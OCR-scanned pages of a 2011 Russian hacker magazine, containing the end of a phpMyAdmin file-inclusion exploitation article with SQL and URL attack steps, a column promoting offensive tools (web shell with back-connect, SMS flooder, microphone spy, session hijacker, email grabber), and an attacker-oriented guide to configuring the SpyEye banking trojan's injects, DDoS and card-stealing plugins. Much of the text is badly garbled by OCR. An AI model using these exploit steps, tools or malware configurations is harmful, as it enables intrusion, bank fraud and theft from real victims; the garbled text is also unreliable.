88 -9 , 6 +9, 7 88 ~Нe:adURL: ht.t.p~ : 1 /phpayadJI.in. svn. sour:ceforqe: .ne:t./ svnroot/ phpayadJtin/t.tunk/phpJII:yA - [secutity] Fixed poss1Ыe ses:sion aanipulation in nekey authenticatton, :see PIU.SA-2011-5 - [secut:ity] Fixed pos:siЬle code inject.ion incase session variaЬle:s are coaproaised, see РКАSА-2011-б - [secutity] Fixed tegexp quot.inq issue in Synchtoniz:e code, :see РКАSА-2011-7

+- [:secux:ity] Fixed tilcering ot а tile pe.th, vhic:h allowed t or direc:tory traversal, see PИASA-20llw8

З. З.lO.l (2011-05-20) w (security] xss on Tracking paqe

d1ff --git a./liЬraries/display tьl o liЬ .pl!p b/liЬraries/display tьl o liЬ . p)lp

inclex 7et333d .. 18бсеЗе 100644 (file ) - -- a/ libraries/ clispl ay tЬl o l ib . php

+++ Ь/libraries/display= tЬl o liЬ o php 08 -1220,7 +1220, 7 88 tunction РИА display'I'eЬleBody("$dt result, "Hs display, $аар, $anal yzed зql ) {

1t ($GLOBALS( •ctqRela~on 1 )[ 1aiaewotk 1 ) t.' i'GLOBALS{ 'ctql )( 'BrovseiiШ' ] ) ( -

it (1sset($GLOBALS[ 'aiae аер' ]($aeta->nu.e]( 'aiaetype ' ]) " ' isset($GLOBALS[ 1aiae аар 1 )($aeta->nue)( 1 ttanstotaation' )) " !eapty($GLOBALS[ ' aiae_ae.p ' ] [faeta->nue] $incl ude file • $GLOiALS[ ' aiae аер' ] ($aeta->nue ][ 'ttanзtoru.tion '] : -

+ $ include=tile • PИA_secutePath($GLOBALS[ 'aiae_aap'} { $aeta->nue} { 1 ttansforaation 1 )) :

it (file exists ( 1 . /libraties/trenstotaations/' . Hnclude tile)) { $trWtotatunction_nue • str_replace ( 1 • incophp', ' ' , -,GLOВALS( 'aiae_aap' )[$aeta->naae)( 1 ttansfotaation' ]) :

phpМyAdmin

~ 1999-2010-~ nc.,AI~ Rмe<Ved

<,

Патч для LFI-уязвимостей в phpMyдdmin'e

INSERT INTO 'test' . 'pmatest' (' column_name', 'mimetype' , __ _

'transformation', 'transformation options' -~ name', ____ _ 't aЬl_g_n_anш.'_)_VALUES_(X-'-L....:/ . ./../ . ./ .. 1__,_,_/._._j_._._/._etcLhosts', __ '1', 'test', '<имя пустой таблицы, к которой мы будем обращаться>' );

2. Записываем в сессию нужные нам данные и тем самым формируем полезныйдля дальнейшихдействий массив $cfgRelation:

htj:p_:j/._p_b_J2/1YAdmio/iod_gx._JillR?token;<тe~y_щий то~е'-"нl<.> _____ _

&session_to_unset=<*x~>&_SESSION(relation](l](commwork].=.1 __ _

& _SESSION [relation] [1] [ mimelol9r.1<]=1&_SESSION(relation] [1] [ db ]=test &_SESSION(relation][1][column_info);pmatest

3. Заходим по следующей ссылке и инклудим нужные нам данные:

http: LLJilliШ!YadminLsgl. JillR ?do _ tra n~fgrmations=1&aj ax_reguest;1 &tаЬlе=<Тут имя nустой таблицЫ>&dЬ=tеst&tо!(еn=<валидный тo~tt2_

В общем, этот инкл уд имееттуже самую природу. что и предыду­

щий, так как основная причина его появления- это возможность

маниnулирования значениями в массиве $cfgRelation. Также могу намекнуть тебе, что оба о n исанных инклуда в

ХАКЕР 10/153/2011

phpM yAdmin крайне опасны на shагеd-хостингах . Здесь открыва­

ется огромный простор для действий : ты можешь просто зарегать

свой аккаунт на том же сервере, где на ходится сайт жертвы, а затем

n оиметь этот са мый сайт с nомощью дефолтной для таких хостингов

системы у nравле ния MySQL базами данны х phpMyAdmin.

НИЕИТОГОВ Вот так, дорогой читатель . На сегодняшний день тема, казалось бы,

такого избитого ба га, как лакал ьный/удаленный инклуд, живет и

процветает. Постоянно находятся новые способы экс nл уатации,

открываются неиспользуемые ранее возможности языка РНР, а

также неуклонно п овышается уровень знаний ба го коnателей по

всему миру.

Особостоитотметитьтотфак~чтодажевтаки х распространенных

движка х, как phpMyAdmin, и по сей день встречаются уязвимости дан­ного тиnа. Эти простые факты говорят о том , что разработчики софта

не уделяют должного внимания зтомутипууязвимостей и не хотят nро­

думать все возможные варианты передачи данных в опасные функции.

Как было nоказано выше , их существует немало.

Конечно, находить инклуды становится всё сложнее и сложнее,

но я надеюсь, что данная статья подтолкнеттебя к новым исследо­

ваниям . :::К:

075

Page 75: Хакер №10 (октябрь 2011)

ВЭЛОМ/Х-ТООLS

X-Tools СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗАБЕЗОПАСНОСТИ

·-· ......

ОС: Windows 2000/ ХР/2003 Server/ Vista /2008 Server/7

Автор: cOn Difesa

Очень часто перед нашим братом встает задача

восстановления строки по ее МD5-хешу. Не

менеечастотакаязадачауспеш новыполняется

с помощью разнообразных словарей, разбросан­

ных по Сети. Но что делать, если такой перебор

растягивается на неопределенно долгий срок и в

словаряхnросто-напросто нетискомой строки?

Намостаетсятолько посимвольнаягенерация

строк и сравнение их хеш а с целевым. Этот про­

цесс и называется брутфорсом .

Выполнение данного процесса на одной ма­

шине выглядит по меньшей мере нерационально,

позтомуяиспешу представитыебеспециальное

программноесредство,предназначенноедля

брутфорса на сразу нескольких маш инах .

Итак , DefBгute-зтo система распределенного

перебора строкдля МD5 -хешей. Данная система

состоит из серверной и клиентской частей .

Серверная часть IDefBгute v1 .0.exe] вы полняет фун.к ц ии генера ци и, учета и п ередачи диапазо­

нов строк клиентам . Клиентдля DefBгute пред­

ставляет собой консольное приложение, формат

запуска которого следующий:

Также настоятельно рекомендуютебе nрочи­

тать находящуюся по aдpecy www.defec. гu/node/4

статью автора об особенностях функционирова ­

ния и nроцессе создания nрограммы .

076

ОС: *nix/win

Автор: profexer

РНР-ВЕБ-ШЕЛЛ P.A.S.

Оченьдавно в наших обзорах не было никаких

веб-шеллов . Настало время исnравить зто недо­

разумение. Встречаем: P.A.S.[phpweb-shell] от мембера форума гdot.oгg ргоfехег'а. Помимо всей

стандартной функциональности, шел л имеет ряд

фишек:

1. Авторизация по кукисам .

2. Шифрованиешелла твоим собственным ключем: по адресу bit.ly/г36L3k можно собрать

шел л с уникальным nа рол ем. А nарольдля

шелла на нашемдиске-«1 ».

3. Файловый менеджер nоддерживаетгруnnо­вое удаление, n еремещение, коnирование,

скачивание и загрузкуфайлов и директорий.

4. SQ L- клиентдля MySQL, MSSQL, PostgгeSQL,

удобнодам n ить БДи таблицы.

5. Bind рогt [Ре г!]. 6. Back-connect IPeгl] .

7. Рогt scanneг IPHPI. 8. BгuteFoгce на основе /etc/passwd для SSH,

FTP, РОРЗ, MySQL, MSSQL, PostgгeSQL с возможностью настроек.

9. Выnолнение кома нд ОС и РНР-кода

различными способами.

1 О. Малый размер [15 Кб].

Кроме этого, нельзя не.отметить удоб ны й

аскетичный дизайн скриnта : черный цвет и вер­

стка по центру экрана всегда были и будутсамым

удобным вариантом.

Marlicq 884888, http://snipper.rul

ФIМ'1CQ:nl~-:

• ~~y~~eJCQSNS~.ьr JiJ

8 1 ь;;;;- . ICOJ

ОС:

Windows 2000/ Х Р/2003 Server/ Vista /20 08 Serve r/7

Автор:

Zdez BiiYa

На очереди еще одна классная nрограмма от nо­

стоянного фигуранта нашей рубрики Zdez Bil Уа .

Как ясно из названия, ICQ sms flооdег-зто смс­флудер мобильного телефона, работающий через

протокол ICQ. Особенности и функционал тулзы: nоддерживаются номера МТС , Билайна и

Мегафона ;

один номер JCQ позволяет отnравить 5 см с; текстабонентуприходитввиде"rпрефикс*, icq] *текст*"; многоnоточность;

статистика отправки см с [ « бзды » и «гуды >> ].

Максимальная длина текста, как и во всех

стандартныхсмска~составляет160символов

[латини це й] или 70 символов [юникодом, русски­ми символами].

Для начала работы с утилитой тебе не нужны

никакие сnе циальные знания. Достаточнолишь

вбить номердля флуда, номер и nа роль ICQ, ввести текст sms, выбрать количество nотоков и нажать на кноnку с зеленой стрелкой. Дальше

флудер всё сделает за тебя.

Также в комплекте идет nрограмма << ICQ sms check>> для отбора номеров с достуnными SMS. Работа с чекером тоже выглядит достаточно три­

виально: выбираем исходный файл с номерами

телефонов, выбираем nотоки, вводим nутьдля

сохранения файла с результатами nроверкии

на выходе nолучаем номера, nодходящие для

мобильного флуда.

ХАКЕР 10 /153/ 2011

Page 76: Хакер №10 (октябрь 2011)

ОС: Android

Автор:

bponury

ОС: Windows 2000/ XP/2003Server/ Vista/2008 Server/7

Автор :

SLESH

Если ты помнишь, в прошлом выпускеХ-Тооls

был описан замечательный микрофонный

шпион MicSpy от Слеша. Теперь же пришло время представить тебе изумительную модификацию

данной программы под названием MicSpySE IStгeam Editionl .

Основная фича данной утилиты, как ясно из

названия, заключается в том, что звук передает­

ся наблюдателю в потоковам режиме. Основные

изменения по сравнению с предыдущей версией

шпиона:

отсутствие админки;

за письзвука больше не производится в файлы;

существенноуменьшен размер: после

упаковки UРХ'ом разме р будетсоставлять

всего-навсего 5632 байта;

передачаданныхвпсевдопотоковом

режиме через сеть;

возможность проелушивания потока

через WinAmp;

возможность одновременного

подключения256пользователей .

Использовать шпион не просто, а очень про­

сто: он загружается на компьютер жертвы, после

чего можно натравливатьлюбой потоковый

плеер на адрес http://[IP жертвы]:4545. Осталось только прикрутить нехитрую возможность back con nect 'a -и тулза станет реально бесценной.

ХАКЕР 10/153/20 11

X-Tools

FACENIFF: УГОН ЧУЖИХ СЕССИЙ СО СМАРТФОН.А;

FaceNiff-этo еще более безбашенное развитие

идеи аддона Fiгesheep, автор которого впервые

сделал угон чужих НТТР-сессий доступным

для любых желающих. Установив расширение

Fiгesheep в свой Fiгefox, можно вообще ничего

не делая перехватить сессии Facebook, Twitt eг,

Flickг и Amazoп.com тех пользователей, которые

работали в той же беспроводной сети и не исполь­

зовали безопасные способы аутентификации.

Таким образом исследовательхотел привлечь

внимание к этой проблеме не только специали­

стов по ИБ, но и широких масс .

Создатель FaceNiff пошел еще дальше и реализовал идею Fiгesheep в виде мобильного

приложения! Да-да, скача в арk-пакет с про­

граммой (faceпiff.poпuгy. пet l, можно практически

ОС: Windows 2000/ ХР/2003 Server/ Vista/2008 Server/7

Автор:

FlameofSoul

ЕМАIL-ГРАББЕР XSPRY

Теперь nереходим к замечательному мыльному

грабберус лаконичным названием XSpгyt. Данная

про га поможеттебе легко и быстро спарсить все

встреченные email-aдpeca с выбранного тобой

сайта, а дальше ты уже сам вполне сможешь опре­

делиться, чтоделать с полученным списком. Но

помни , что мы всегда были и будем против с пама!

Достоинства и недостатки проги:

однопоточность;

заданиетай м-аута;

низкое потребление системны х ресурсов;

отсутствиеэвристикиlсайтнесканитсясам~

удаление дубликатов;

сохранение пройденного при крахе;

подробные отчеты по найденным мыла м и

пройденным ссылкам .

Работа с прогой выглядит достаточнотривиально:

1. Запускаем ехе-файл .

2. Дальше граббер сам попросит ввести всё, что

необходимо для начала парсинга.

Также ты вполне ус пешно сможешь работать с

утилитой и при помощи консоли: grabber.exe -h

winne.com -р 80 -t зеее. Здесь параметры обо­значают следующее :

h- хост(без http://l; р-порт;

t-тайм-аут в микросекундах.

Все спарсенные мыльникисохраняются в mail. txt; ссылки для парсинга, которые ты приготовил заранее для определенного сайта, кидай в liпk . txt.

на любом Аndгоid-смартфоне запустить этот

хек-инструмент и перехватывать аккаунты самых

разных сер висов: FaceBook, Twitteг, ВКонтакте и т. д.- всего более 1 О. Все, что нужно, -это подключиться к нужной беспроводной сети и

запустить приложение !можешь посмотреть ви­

деодемонстрацию : Ьit.ly/qbzwGh l. Правда , чтобы

сдержатьпотокскрипкидис,авторограничил

максимальноечислосессий тремя-дальше

нужно обратиться к разработчикуза специаль­

ным активационным кодом.

FaceNiffтpeбyeт наличия телефона на Aпdгoid

с рут-доступом. При этом он отлично себя чув­

ствует в любых, даже защищенных сетях IWEP, WPA и WPA21. Единственное препятствие-это

используемая в сети технология ЕАР.

ОС: Windows 2000/ ХР/2003 Server/ Vista/2008 Server/7

Автор :

xmadstyle

Теперь же давай вернемся ко взлому MD5 и вни­

мательно посмотрим на прогу MD5 Опliпе Sсаппег, созданную мембером Античата xmadstyle спе ци­ально для прогона хеш ей п о специализирован ­

ным онлайн-сервисам .

Итак, данная утилита представляет собой

ска нер МD5-хешей на пр едмет их наличия в раз­

личныхонлайн-базах .

Особенности сканера :

многопоточность !до 250 потоков!; возможность выбора формата входных

и выходных данных;

возможность выбора онлайн-сервисов

<<на лету»;

возможностьсканирования из буфера

или файла;

возможность сохранения результатов

в буфер или файл;

удобный GUI, возможностьсворачивания втрей .

Прогаподдерживаеттакиеизвестныеонлайн -

сервисы, как: cOIIisioп . пet , tmto .oгg , www.md5this . com , md5.hashcгackiпg.com , md5online.net , hashkilleг.com и еще около 3D других.

Особое внимание следуетобратить на удоб­

нейшие встроенные макросы, используемые при

экспорте и импорте списков хеш ей в сканер:

[MD5] -текущий хе ш;

[DATA] -твои комментарии lлогин, мыло и т. д . l ;

[ТЕХ Т]- исходная строка для хе ш а lпарольl;

[SERVICE] -адрес сервиса, расшифровавшего хеш.

077

Page 77: Хакер №10 (октябрь 2011)

MALWARE

лаз зла МАСШТАБНЫЙ ТРОЯ Н SPYEYE ПОДХАКЕРСКИМ МИКРОСКОПОМ

В ходе проведения расследования

одного из инцидентов в наши руки

попало руководство к известнейше­

му вредоносному ПО-SpyEye. Что самое примечательное, руководство

было как на английском, так и на рус­

ском языках . На примере этого доку­

мента мы рассмотрим, что представ­

ляет из себя SpyEye с точки зрения хакера, а не вирусного аналитика.

Схема мошенничества с ДБО

МОШЕННИЧЕСТВО В ДБО

Покупка вредоносного ПО

Шифрование исполняемых файлов

-В этой статье рас· сматривается SpyEye версии v1.3.25 от 14.03.2011.

На нашемдискетебя ждетполная версия

статьи, содержа­

щая описание всех

ключей, плаrинов и прочих тонкостей, которые не выдер­

живаетбумажная версия журнала.

Арендасерверовдляуправленияботнетом

Покупка трафика в определенных регионах РФ

Отправка платежных поручений

Вывод и легализация денежных средств

078

Сергей Никитин

n осл еднее время можно смело сч итать э n охой

ботн етов: в ирусы стремятся к центра л иза ции и

а втоматиза ции. Круnн ей ш иеботн еты и с n ол ьзуются

для DDoS'a, рассылки с n ама, совершения мошенничеств с

nл атежными системами. SpyEye отлич н о n одходит на рол ь

ба нковско готроя н а, на цел е н но го на со вершение мошен н ич е ­

ства с nомощью систем диста н цион ного ба н ко вско го обслу­

жи ва н ия. SpyEye расnрост раняется в в и де гото во го n родукта ,

а как его ис nол ьзо в а ть-решитсам nоку n атель .

СХЕМА МОШЕННИЧЕСТВА П ер вы м делом злоумышленник noкynaeт S py Eye !думаю,

для тебя не секрет, что кодяттрояны одни л юди, а и с n ользу­

ют- совсем дру гие ! . В ком nлекте идетсерверная и клиент­

ская ч асти, в том ч и с л е билдер б ото в. Ко нтр олл е р Ботн ета

размещается в Сети, злоумышленн ик n о куnаеттрафик для

заражени я ком n ьютеро в . Зач астую взломом сайто в и раз­

м ещением эксплойт-nако в за н имаются дру г ие л юди -те,

которы е nродаюттрафик для ботнетов. Статистика ус п ешно го

заражен ия соста вляет около 10%. Посл еза ражен ия ком п ью­

терста нови тсяботомиотсылаетмассуда нных наконтроллер

ботн ета. Функционал SpyEye в ес ьма обш ирен и может до n ол ­

н ять ся плаги нами. Злоумышл енн ик че рез адми нист рати вную

n а н ель контр олл е раможетсо вершать м а ссудействийсботом ,

в том ч исле п одкл ю ч аться ч е резудал енноеуnра вление и nро ­

водить nлатежи ч е р ез с и стему ДБО. Логины/па р оли к с и с теме

ДБО, n и н- коды к токе нам похищаются че р ез модуль скрытно го

ко пи ро ванияда н ных из разл ич н ых фо рм-фор м граббер.

Посл е n охищенные денежн ые с р едств а л е гализуются .

Гл авны м и н струментом уста новки SpyEye я вляется вирту­

альная о n е ра ционная система GNU/L inux Deb iaп 5.0. В этой

ОС ужеустановлен веб-серв е р вмес те с п а н елью упр авлен ия

форм граббера, а та кже ssh-кл иент и п ро ч ий инструмента рий .

Расnространяется в виде ви ртуа л ь н ой маш и ны Vi гtu ai B ox.

Гл а вная nанель у nра вле н и я нужн а дл я уч ета статистик и п о

ботам , а также для упра вл е н и я ими. Для ее работы необхо ­

дим уста н ов л е нный веб-се рве р с п оддержкой РНР, а та кже

MySQL-cepвep. Панел ь р азделен а на серверную и кли ентскую

част и . К обеим прила гаются ин сталляторы. Се рверная ч асть

пр едста вл яет собой оди н файл -gаtе.р h р.

ХАКЕР 10 / 153/ 2011

Page 78: Хакер №10 (октябрь 2011)

СЕРВЕРНАЯ ЧАСТЬ BackConnect Server (for SOCK55 & FTP). Предназначен для работы с ботами через протоколы SOCKS5 или FТР, имеется ВасkСоппесt-сервер подО С GNU/Liпux .

Collector. Коллектор представляетсобой демон под ОС GNU/L i пu x, принимающийжурналы работы отботов.

Протокол, использующийсядля отправки логов, основан

на ТСР и носитназвание Sausages. В нем используется шифрование и LZО-компрессия . Демон проелушивает

определенный порт н а предмет логов от б ото в и кладет и х в

MySQL. Таким образом, для его работы на сервередолжен

бытьустановлен GNU/Liпux и MySQL. Кроме этого, для его установки необходим SSН-доступ к серверу.

RDP BackConnect Server. Серве р представляетсобой статически собранный би нарный файл подОS GNU/Liпu x.

Демон складирует информацию о подключенных клиентах

вMySQL.

КЛИЕНТСКАЯ ЧАСТЬ 1. FormgrabberCP (Collector'sGUI).Дл я поиска информа ­

ции в базе коллектора имеется интерфейс, написанный на

языке РНР, в виде панели управления формграббе ра. Панель

управления этого ~оду ля н е предназначена для того, чтобы

находитьсянасервере.Этоклиентскоеприложение.

2. Builder. Программа, создающая на базеуказа н ных настроек

конеч ныйехе-файлмалвари. Воттолькочасть из н и~

Encryption kеу-кл юч, которым шифруется config.Ьiп.

Ключ прописывается и в бота .

Clearcookieseverystartup- ecли включено, то бот при

каждом запуске !будь то за п уск ОС или за пуск билда бота по­

с л е об новления) будетудал я ть сооk i еsбрауэеров IE и FF. Если брауэер FF уже запущен, то cookies н е удалятся, так

как FF открываетхэндл на файл базы cookiescookies.sqlite. Delete non-exportaЬie certificates- в криптахранилище

Windows ! это хранилище и испольэуетбрауэер IE) существует особый тип сертификатов- неэкс портируемые . П ользова­

тель может их использовать, но их нельзя экспортировать,

скажем, в *.plx, и отправить в коллектор. В этом случае в SpyEye есть возможность удалить все сертификаты этого тип а.

В этом случае пользователю ничего особо не останется, как

снова импортировать сертификат в криптохра нилище . Апри

импортеботужесниметфлагнеэкспортируемостисертифика­

та, и та кой сертификатможно будетотправить в коллектор.

Dontsend http-reports-B НТТР-отч ета х много мусора. Та ­

ким образом , имеетсмысл отправлятьтолько НТТРS-отчеты

!ну и плюс НТТР-отчеты сданными Ваsiс-авториэации).

Compressbuild ЬуUРХ-если включено, то билдер сожмет

билдбота UРХ'ом . Если используемый кри птор не сжимает

исходный файл, то эта опци я важн а.

Make buildwithoutZLIBsupport- нecмoтpя на исполь­

зование протокола НТТР 1.0 в FF-инжектах и на отсутствие за голо вка Accept-Encoding, некоторые веб-се рверы могут присыпать сжатый контентlнапримерgziр, dellate). В этом случаеSруЕуе испольэуетбиблиотекуzliЬ, чтобы распаковать

контент и проинжектитьего. С этой включенной оп цией бил­

дер генерируетбилд бота без п оддержкиzl iЬ 'а. Это сэкономит

15-16 Кв размера билда !если измерять разницусжатых

UРХ'ом билдов) . Однако в случае, если придетсжатый контент

в FF, бот не сможетего инжектировать .

Make LITE-config- oп ция определяет, нужно ли включать

в со nfig .Ьiптакие вещи, кaкweЬi nj ects, scгeenshots и плагины

!кроме customconпectoг.dii) . Дeлo в том, что при создании

бил да бота coпfig . Ьiп ВСЕГДАвшивается в тело бота. В свою

очередь, это влияет на размер исполняемого файла бота . Пр и

испольэованииэтойопцииботпослеотправкиданныхна

контроллер ботнет а загрузитконфигурацию из не го со всем

необходимым инструментарием. Такой подход позволяет

ХАКЕР 10 / 153/ 2011

0 ."::1.

аз--­- -·--·-... ------- --- -,.._ .. ____ _ -·--- --...

з начительно сократить размер билда бота.

ЕХЕnаmе-имя файла бота в системе пользователя ! п о­сл е установки).

Mutexname-имя mutex'a, который используется для идентификации бота в системе.

Anti-Rapport- этo встроенный модуль, активно противо­

действующий антируткиту RappoгtTгusteeг. В частности,

SруЕуеубивает потоки Rappoгt'a и блокирует записьотладоч ­

ных сообщений в е го базу отчетов. Кроме того, этотмодуль

следитэа целостностью хуков бота . Таким образом, если у бота

включен этот модуль, то ни антируткитытипа Rappoгt'a, ни

раэличныетроянытипа Zeus'a работать не будут. Тот же RKU, н ап ример, не сможетснятьхуки бота при включенном модуле

Aпti-Rappoгt .

Screenshots. В каталоге билдера имеется пап ка screeпs h ots . В ней могутнаходитьсятекстовые файлы с пра­

вилами сбора скри ншотов. Скриншоты снимаются при клике

мыши . При этом в центре скриншота на ходится курсор мыши .

Файл правил содержитстроки, каждая из которыхдолжна

содержать пят ь пара метров, разделяемых пробелами . Формат

следующий:

%URL МАSК% %WIDTH% %HEIGHT% %МINIMUM CLICKS% ___ _

%.MINIMUM_$JCQNQ$% -----.. --.. ····----.. -

Здесь URL_MASK-этo маска URL. Если приложение гру­зит п о URL ресурс, попадающий подэту маску, то включается

соответствующее правило отправки ск р иншотов. Существует

одна проблема,свяэанная соскриншотами. Боту достаточно

проблематичноуэнать, на какой странице со вершается клик

!например, ввидутого что в браузере можетбыть множество вкладок). Для это го существуют два пара метра: минималь-

~- .:.т. .-....=.". q,,::e;; v:= 0 .~·~ 1 L-.. '~

'1'.:10 ( VIIIШT :tJ """'"' ((ii_,~P,

' ~\,SOCКS 5 ~ RDP ~--""

Глаз зла

а

Работа модуля удаленного

рабочего стола

а

РаботаFТР бэкконнект­

сервера

079

Page 79: Хакер №10 (октябрь 2011)

MALWARE

\ • u..t!• ll\l l l llo - o . ··~··-~-···· · ·-··-· .. : t~~~--:! t;~:E-=· (-•) :~ ~~:.i"t.~ ··· :: l.щ __ IJ • .... tllll .. :: =~:~-···· ·-'" af' ~\ 'f.,.,.__ н т~~~ ..... ···· ~ ~~----.1111 :· • .

»

а

Инжекты в действии.

---·­·~

------.. ..., '---... ,.-. ...... "'-

но е и максимальное количество кликов-чтобытак или

иначе [оnираясь на количество кликов и время, nрошедшее

с момента загрузки НТТР-ресурса, указа нного в URL_MASK) выключать nравило скри н шатав .

Client: Builder:weblnjects. В каталоге билдера nрисут­ствует паnка weЬinjects . В ней могут на ходиться текстовые

файлы с nравилами инжектирования НТТР/НТТРS-ресурсов.

Форматинжектовтакой же, как и для Zeus'a. Однако nоддер­живаются не все флаги маски set_uгl. Тем не менее nоддержи­

ваемых флагов вnолне достаточно, для того чтобы говорить о

nолной совместимости с инжектами Zeus'a. В файле nравил содержатся блоки с четырьмя тегами: set_uгl , data_befoгe,

data_inject, data_afteг[нynлюcтeгdata_end еще, указываю­щий на конецтега с префиксом data_):

set_url В этомтегеуказывается ма ска , на которой сработаетсоот­

ветствующее правило инжектирования. Также как и в Zeus'e, синтаксически поддерживаются такие вещи, как «*» и «#».

Этоттег можетсодержать различные флаги [по умолчанию используется флаг G):

G-означает, что инжектированиебудетпроизводиться

толькодля ресурсов, которые заnрашиваются GЕТ­

методом.

Р-означает, что инжектирование будет производиться

толькодля ресурсов, которыезаnрашиваются РОSТ­

методом.

L- nредставляет собой флаг для перехвата- граббин ­

га содержимого междутегами data_befoгe и data_afteг

включительно. При этом сграблен ный конте нтбудет

обособляться содержимым тега data_inject. [Сграблен­ноесодержимоеможнонайтивпанелиуnравления

ОТЛИЧИЯ ИНЖЕКТОВ SPYEYE ОТ НЖЕКТОВ ZEUS'A

орядок следования тегов data_befoгe , data_inject, dаtа_аftег-для SруЕуе 'я он

важен и долже н быть именно такой, а для Zeus'a не важен. Zeus п о умолчанию инжектируетСSS- и JS-контент. Однако, чтобы инжектировать такой контент в

SpyEye, обязательно нужно создать прав илотаким образом , чтобы в теге set_uгl содержа­

ласьстрока << .css» либо <<.jS>> [в зависимости от типа контента для инжекти нга). В SpyEye некорректно реализован флагН-в Zeus'e он используется для удаления

НТМL-кода из сграбленного контента НТТР-ресурса . В SpyEye с п е цсимвол << # >> абсолютно

аналогичен << * >> [в теге set_uгl). Хотя в Zeus'e это н е так и сnецсимвол<<# >> используется как

СИНОНИМ «НОЛЬ ИЛИ ОДИН любой СИМВОЛ >> .

080

формграббера , у казав критерий поиска Hooked Fun ction : "GRABBED ОАТА".-При м. ред.)

Н-аналогичен флагу Lза исключением того, что в сгра­

бленноесодержимоеневключаетсясодержимоетегов

data Ьеfоге и data_afte г .

data_before, data_inject, data_after Существуеттри ситуации при работе с этими тегами :

1. Если найден контент nо маске data_befoгe и содержимое

тега data_after пусто, то .. . - бот вставитсодержимое тега

data_inject ПОСЛЕ data_before. 2. Если найден контент по ма ске data_afteг и содержимое

тега data_befoгe пусто, то ... -ботвставитсодержимоетега data_inject ДО data_afte г.

3. Если найден контент по маскам data_before и data_after, то ... -ботзаменитконтент междутегами data_befoгe и

dаtа_аftегвключительно на содержимое тега data_iпject.

На пра кти ке была обнаружена следующая особен ность

веб-сервера ВОдnри и с пользовании НТТР 1.0 [именно эту версию НТТР SруЕуе ис nользует для инжектирования страниц

в браузе ре Mozilla Fiгefox ). На некоторых ресурсах [* css, *.js) веб-сервер возвращал сжатый контент, при этом в Content­Encoding не было указано, что контентсжатый . Приводило

это к тому, что браузер распознавал контенттаких ресу рсов,

как lnvalid Content, и страница отображалось некорректно .

Несмотря на nодобные проблемы веб-сервера, это можно ис­

править средствами SpyEye, про сто составив пустое nравило

[с пустымитегами data_befoгe, data_inject и dаtа_аftег)для инжектирования css- иjs-ресурсов.

Builder:serial.txt. Билдер привязывается к жел ез ной части компьютера, а серий ны й номер выдает разработчик

вредоносного ПО. Ачтоты хотел: лицензионная nрогра мма!

Client : Builder: collectors.txt. В каталоге билдера должен находиться файл collectoгs .tx t . В файл можно прописать с пи­

сок , каждая строка которого имеетследующий формат [такие

строки разделяются Еntег 'ами):

iр:рогt- это IP, на котором установлен SpyEye Collectoг и PORT, который коллектор слушает на предметжурналов работы . Вместо IP можноуказатьдоменное имя . Коллектор,

как правило, исnользует какой-нибудь известный , « расnро­

страненны й >> nорт [80 или 443), ибо в некоторыхлокальных

сетя х маршрутизаторы могут блоки ровать отсылкутрафика

нанестандартные порты .Вслучаеневозможности отправ ки

данны х через первый коллекто р бот будет пытаться отn равить

данные, исnользуя коллекторы, указанные ниже [nауза между

nопытками составляет0 , 1 секунды) . Если бот дойдет до кон ца

списка и данные отп равитьтак и не удалось, то он сохранит

отчет в специальном хранилище и будетnытаться отnравить

данные nри следующей отс ылке логов.

ПЛАГИНЫ ДЛЯ КЛИЕНТА Для обеспечения недостающей в базовой части клиента

функцианальности существуют плагины. Они тоже указыва­

ются в билдере.

Client: Plugins :weьtakes. Плагин weьtakes может исполь­

зоватьсядля подм ены содержимого НТТР- и НТТРS-ресурсов

безобращениякоригинальномувеб-серверувбраузерахiЕи

FF. Конфи гурационный файл пла гина совместим с форматом

п оддельных страниц , используемых Zeus'oм , и выглядит

следующим образом :

entry "WebFakes" %URL_МASK% %URL_REDIRECT% %FLAGS% %POST_BLACK_MASK%

%POSJ_WHIТE_MASK% %BLOCK_URL% %WEBFAKE_NAME%

ХАКЕР 10 /153/2011

Page 80: Хакер №10 (октябрь 2011)

0 "" OJ/1 1 061111107

Мonl~.. .fS sJ~\к VIRТEST D Plualns

Crнte r.u ~ s~'J~к

~ .. ~r... \\. socкs 5

RDP

!.,.L Flles

Task list

"' 1 :; " " !-:JE:

(_Ь .. l •f• St.t Dtl

20 11·03·1 11\ .SOolt V l!!I X

hb ~ ...... . ....... .. ~ ...

$1. l'tl• v

Вид контроnnера ботнет а

0000•00•0000-00 tOO

.20 1 1·0J·I II Io,]o2•

" v

" v

С подменой в браузере FF связан один нюанс. Ввиду

особенностей API библиотеки nspг4, данные POST-зa npoca,

поступающие для анализа в плагин подмены, ограничены

длиной в 4 Кб. То ес_ть при составлении правил подмены

используются такие переменные POST-зanpoca, которые

входят в первые 4 Кб НТТР-за проса !включая размер НТТР­

шапкиi.Плагин не требует включения со стороны па н ели

управления .

DDoS. Плагин можетбыть использован, чтобы осуще­ствить DDoS-aтaкy на какой-нибудь сервер. Конфигурация

плагина имеетследующий вид:

type taгget poгttime.

type taгget рог! time.

tуре-тип DDoS'a. Поддерживаются следующие:

s low l oгis/ssyn/udp.

taгget-IP либо хостсервера, на который осуществляется

атака.

рогt- порт, подвергаемый DDoS'y !для UPD DDoS можно

указать О, для выбора случайного порта!.

timе-время , в течение которого будет производить-

ся DDoS !для UDP/SSYN используются секунды, для

Slowloгis-минyтыl.

В конфигурации плагина можно указать множество зада­

ний на DDoS lплагин переходитот одного задания к другому

постепенно , не мно го п оточноl. Для ти п а DDoS'a Slowloгis не

нужно задавать портlпоумолчанию используется 80 - ыйl. Плагин требует включения со стороны панели управления .

Client: Plugins: ссgгаЬЬег. Плагин занимается сбором информации о банковских картах, анализируя РОSТ-запросы

приложений . Длядетектированияномеровбанковскихкарт

используется Luhn algoгithm. Если нашелся валидный номер

карты, то весь POST-зanpoc отсылается в коллектор. Найти

с граблен ны е СС можно через соответствующий интерфейс

поискавпанелиуправленияформграббера .

ffcertgrabber. Базовая ком пл ектация SpyEye занима­

ется хи щением сертификатовтолько из криптохранилища

Windows. Однако Fiгefox исnользует собственное хра нилище

сертифИкатов . В связи с этим есть специальный плагиндля

хищения сертификатов из FF. Предусмотрен подбор па ролей

по словарю в случае, если на профиль установлен мастер­

пароль . В конфигурации плагиналишь однозначение­

минимальноевремяожиданияпередотправкойсертифи­

катов в коллектор !указывается в секундах ! . Сграбленные

сертификаты имеют префикс FF.

Socks5 BackConnect. Плагин поднимаетSОСКS5-сервер на боте и предоставляет досту п к немучерез BackConnect­

cepвep . В главной nа н ели уnра вления имеется интерфейс,

позволяющий отображать сnисокдоступных Socks'oв.

